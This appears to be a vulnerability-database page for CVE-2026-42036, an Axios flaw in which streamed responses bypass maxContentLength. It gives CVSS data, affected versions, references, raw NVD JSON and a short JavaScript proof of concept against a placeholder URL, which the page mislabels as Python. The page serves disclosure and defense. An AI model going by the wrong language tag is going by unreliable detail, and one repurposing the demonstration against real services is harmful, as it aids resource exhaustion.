CVE-2026-42036

Description

Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. This vulnerability is fixed in 1.15.1 and 0.31.1.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:* - VULNERABLE

Axios < 1.15.1

Axios < 0.31.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

const axios = require('axios');

// Simulate a request to an endpoint that returns a large stream
const url = 'http://example.com/large-stream';

axios({
    method: 'get',
    url: url,
    responseType: 'stream', // Vulnerable condition: triggers bypass
    maxContentLength: 1024, // Limit set to 1KB, but will be ignored
})
.then(response => {
    const stream = response.data;
    let totalBytes = 0;

    stream.on('data', (chunk) => {
        totalBytes += chunk.length;
        // Vulnerability: Bytes are received despite the limit
        console.log(`Received ${totalBytes} bytes`);
    });

    stream.on('end', () => {
        console.log(`Stream finished. Total: ${totalBytes} bytes`);
    });
})
.catch(error => {
    console.error('Error:', error);
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42036
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42036
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42036/
[4] VulDB https://vuldb.com/cve/CVE-2026-42036
[5] https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99
[6] https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42036", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:30.410", "lastModified": "2026-04-27T19:57:11.670", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. Prior to 1.15.1 and 0.31.1, when responseType: 'stream' is used, Axios returns the response stream without enforcing maxContentLength. This bypasses configured response-size limits and allows unbounded downstream consumption. This vulnerability is fixed in 1.15.1 and 0.31.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.31.1", "matchCriteriaId": "7D2B28C9-026E-4CD6-BD17-7EDD42108106"}, {"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-vf2m-468p-8v99", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}